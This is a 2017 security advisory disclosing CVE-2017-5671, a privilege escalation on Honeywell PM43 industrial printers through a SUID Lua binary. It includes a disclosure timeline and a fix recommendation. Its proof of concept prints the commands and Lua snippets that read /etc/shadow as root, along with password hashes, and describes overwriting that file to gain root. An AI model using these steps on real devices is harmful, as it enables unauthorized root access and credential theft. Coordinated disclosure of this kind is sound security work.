Date: March, 28th 2017
Author: Bourbon Jean-marie (kmkz) from AKERVA company | @kmkz_security
model: PM43 RFID Industrial printer
firmware version: 10.10.011406
kernel: Linux PM43-xxxxxxx 2.6.31 #1 PREEMPT Mon Oct 26 10:49:59 SGT 2015 armv5tejl GNU/Linux
PM23, PM42, PM43, PC23, PC43, PD43 and PC42 printers with versions prior to March 2017
CVSS: 7.5 (CVSS:3.0/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H)
OVE ID: OVE-20170131-0001
CVE ID: CVE-2017-5671
OSVDB ID: n/a
Dany Bach (Rioru) from AKERVA company for the exploitation design during the pentest where the CVE-2017-5671 was discovered | @DDXhunter
Honeywell team which was really reactive!
Download the new firmware version by using the link below:
PM43/PM43c mid-range industrial RFID printers are ideal for a wide range of applications within the distribution center / warehouse and manufacturing environments.
Using a bad file permission it is possible to gain full root privilege on a PM43 industrial printer as from admin account than it-admin which are the two
default users on the system.
It also permit to gain full privilege resulting on a Busybox jailbreak due to the root access on the system.
The impact of this exploitation is quite critical due to the sensitives informations that are available and may impact the most recent firmware version.
III. VULNERABILITY DESCRIPTION
The Lua binary rights are too permissive and this one is SUID which conduct to perform this privilege escalation using a basic trick as describes in the next section.
The default it-admin and/or admin credentials are available in the vendor’s documentation and should be modified too.
IV. PROOF OF CONCEPT
Following steps can reproduce the privilege escalation once the attacker gain a Busybox shell on the system:
itadmin@PM43-XXXXXXXXXXX /tmp$ find / -perm -g=s -type f 2>/dev/null /bin/busybox /usr/bin/cfg /usr/bin/lua <----- Lua binary with SUID perm. /usr/bin/httpd_restore /usr/bin/ikev2 /usr/bin/pwauth /usr/bin/functest /usr/bin/imecutil /usr/bin/httpd_fwupgrade /usr/sbin/setkey
We then try to execute a shell command using Lua but it seems that this one is executed with non-root privileges through the Busybox shell:
itadmin@PM43-XXXXXXXXXXX /tmp$ /usr/bin/lua Lua 5.1.4 Copyright (C) 1994-2008 Lua.org, PUC-Rio > os.execute("id") uid=1(itadmin) gid=1(itadmin) groups=1(itadmin),2(admin),3(user)
So we identify that it is possible to read/write files with root privilege on the file system without any restrictions (we will be able to modify the shadow file in order to log in as root later):
// in the Lua interpreter:
> f=io.open("/etc/shadow","rb") > print(f) file (0x17af0) > c=f:read "*a" > print(c) root:!$1$XPCuiq25$IvWw/kKeomOyQIee8XfTb1:11851:0:99999:7::: admin:$1$Ma/qTlIw$PPPTgRVCnkqcDQxjMBtsC0:11851:0:99999:7::: itadmin:$1$kcHXJUjT$OIgLfTDgaEAlTbHRZFPsj.:11851:0:99999:7::: user::11851:0:99999:7::: ftp:*:11851:0:99999:7::: nobody:*:11851:0:99999:7::: lighttpd:x:1000:1000:Linux User,,,:/home/lighttpd:/bin/sh
We conclude this « proof of concept » by writing a file on the filesystem which demonstrate the possibilities that we now have using this kind of code:
fp = io.popen("akerva", "w") fp:write(anything) fp:close()
That gave us the following output:
itadmin@PM43-XXXXXXXXXXX /tmp$ cat akerva AKERVA r00t itadmin@PM43-XXXXXXXXXXX /tmp$ ls -alsh akerva 4 -rw-rw-r-- 1 root root 12 Jan 25 07:12 akerva
As explained in the above text, we then over-writed the « etc/shadow » file and we validated that it is possible to gain full root access on the filesystem even if Busybox 1.15.0 (2009 release) were present, bypassing
its shell restrictions (jailbreaking it).
AKERVA’s Pentesters recommend to fix it by modifying the Lua binary rights (is the SUID bit necessary?).
A security fix is now available in order to mitigate this issue.
VI. VERSIONS AFFECTED
This issue affect the firmware version 10.10.011406 but after reading the recents release notes it also seems to impact all versions that were releaded before the updated firmware.
January 19th, 2017: Vulnerability identification
January 27th, 2017: First contact with the editor (Honeywell)
January 31th, 2017: Advisory submission to Honeywell security team and CVE id request
February 1st, 2017: CVE id attributed by MITRE even if his vendor is not normally considered a priority for CVE by MITRE
February 6th, 2017: Vendor confirm the vulnerability
February 16th, 2017: Vendor inform that the fix is ready (he also propose to test it prior to release)
March 12th, 2017: New firmware version available
March 28th, 2017: Public advisory released
VIII. LEGAL NOTICES
The information contained within this advisory is supplied « as-is » with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or misuse of this advisory.
Akerva est sponsor bronze de la 2ème édition du Forum Cybersécurité qui se tiendra le mardi […]EN SAVOIR PLUS
Part 5 – Comme à la maison 🙂 Nous constatons qu’une relation existe entre les […]EN SAVOIR PLUS
Part 4 – Compromission du domaine DEV Il faut ensuite compromettre le domaine […]EN SAVOIR PLUS
Part 3 – Compromission SI Pramafil Nous pouvons désormais utiliser notre golden ticket si […]EN SAVOIR PLUS
Part 2 – Pramafil.com Une fois le ticket récupéré, il faut trouver un […]EN SAVOIR PLUS
Cet article est le premier d’une série de 5 détaillant la résolution du challenge « Wonka […]EN SAVOIR PLUS
La NDH revient ! Akerva est sponsor Diamond de la 16ème édition de la Nuit […]EN SAVOIR PLUS
Développement d’un Security Lab avec des outils de tests à la pointe de la technologie […]EN SAVOIR PLUS
Akerva organise 2 sessions de formations PECB ISO 27001 Lead Auditor & PECB ISO 27005 […]EN SAVOIR PLUS
NP6 Consulting rentre dans le giron du Groupe Orians, propriétaire d’Akerva, Aura Equipements, Confluences IT, […]EN SAVOIR PLUS